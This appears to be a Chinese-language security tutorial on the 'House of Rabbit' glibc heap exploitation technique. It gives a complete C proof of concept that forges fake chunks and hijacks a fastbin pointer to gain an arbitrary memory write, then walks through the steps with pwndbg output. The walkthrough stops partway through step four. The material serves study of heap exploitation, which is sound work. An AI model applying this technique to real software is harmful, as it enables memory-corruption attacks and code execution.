House of Rabbit
原理
如果程序同时满足以下三个条件
- 可以分配任意大小的堆块并且释放,主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块(用于分配到任意地址处)
- 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节
- 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针。
当通过malloc函数分配内存时,当超过某特定阈值时,堆块会由mmap来分配,但同时会改变该阈值。通过连续malloc然后free两次超大chunk,会扩大top chunk的size。在申请一个fast chunk和一个small chunk,保证small chunk紧邻top chunk。在可控内存处伪造两个chunk,一个大小为0x11,绕过检查,一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位。再利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fast bin链表。free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中。再申请一个超大 chunk,0xfffffffffffffff1大小的fake chunk会链接到 largebin,最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置,从而可以分配到任意地址,达到内存任意写的目的。
Poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void evict_tcache(size_t size);
char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};
int main(void){
void *p, *fast, *small, *fake;
char *victim;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
//在不泄漏地址的情况下绕过堆ASLR,使覆盖位于任意地址的变量成为可能。
printf("House of Rabbit Poc\n\n");
printf("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n");
evict_tcache(0x18);
evict_tcache(0x88);
printf("1. 'av->system_mem > 0xa00000'\n");
p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);
p = malloc(0xa00000);
printf(" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n", p);
free(p);
printf(" 'av->system_mem' 将会比 0xa00000 大.\n\n");
printf("2. Free fast chunk 插入 fastbins 链表\n");
fast = malloc(0x18);
small = malloc(0x88);
printf( " 申请 fast chunk 和 small chunk.\n"
" fast = %p\n"
" small = %p\n", fast, small);
free(fast);
printf(" Free fast chunk.\n\n");
printf("3. 在 .bss 构造 fake_chunk\n");
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
printf( " fake_chunk1 (size : 0x%lx) is at %p\n"
" fake_chunk2 (size : 0x%lx) is at %p\n\n"
, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);
fake = &gbuf[2];
printf( "漏洞利用 (UAF,fastbins dup等)\n"
" *fast = %p\n"
, fake);
*(unsigned long**)fast = fake;
printf(" fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));
printf( "4. 调用 malloc_consolidate\n"
" Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n"
, small, fake);
free(small);
printf( "5. 将 unsorted bins 链接到合适的链表\n"
" 将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n");
gbuf[3] = 0xa00001;
malloc(0xa00000);
printf( " 申请一个超大 chunk.\n"
" 现在, fake_chunk1 会链接到 largebin[126](max).\n"
" 然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n");
gbuf[3] = 0xfffffffffffffff1;
printf( "6. 覆写 .data 段上的目标值\n"
" 目标值位于 %p\n"
" 覆写之前是 : %s\n"
, &target, target);
malloc((void*)&target-(void*)(gbuf+2)-0x20);
victim = malloc(0x10);
printf(" 在 %p 申请 0x10 byte, 然后任意写入.\n", victim);
strcpy(victim, "Hacked!!");
printf(" 覆写之后是 : %s\n", target);
}
void evict_tcache(size_t size){
void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
p = malloc(size);
#if (GLIBC_VERSION < 29)
free(p);
free(p);
malloc(size);
malloc(size);
*(void**)p = NULL;
malloc(size);
#else
#if (GLIBC_VERSION == 29)
char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
counts[(size + 0x10 >> 4) - 2] = 0xff;
#endif
#endif
}
分步分析
1 malloc两个堆块使av->system_mem > 0xa00000
p = malloc(0xa00000);
free(p);
p = malloc(0xa00000);
free(p);
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /home/kabeo/Desktop/house_of_rabbit
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/house_of_rabbit
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/house_of_rabbit
0x603000 0x1024000 rw-p a21000 0 [heap] <===== 扩大到0xa21000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
2 Free fast chunk 插入 fastbins 链表
fast = malloc(0x18);
small = malloc(0x88);
free(fast);
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x91
}
0x603020 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6030b0 PREV_INUSE {
prev_size = 0,
size = 10620753,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/30xg 0x603020-0x20
0x603000: 0x0000000000000000 0x0000000000000021 <==== fast
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000091 <==== small
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000a20f51 <==== top chunk
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
3 在 .bss 段构造 fake_chunk
gbuf[0] = 0xfffffffffffffff0;
gbuf[1] = 0x10;
gbuf[3] = 0x21;
gbuf[7] = 0x1;
fake = &gbuf[2];
pwndbg> x/20xg 0x6020f0-0x20
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010
0x6020f0 <gbuf+16>: 0x0000000000000000 0x0000000000000021 <==== fake chunk
0x602100 <gbuf+32>: 0x0000000000000000 0x0000000000000000
0x602110 <gbuf+48>: 0x0000000000000000 0x0000000000000001
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
4 通过其他漏洞改写fast chunk指向fake chunk
点击收藏 | 2
关注 | 1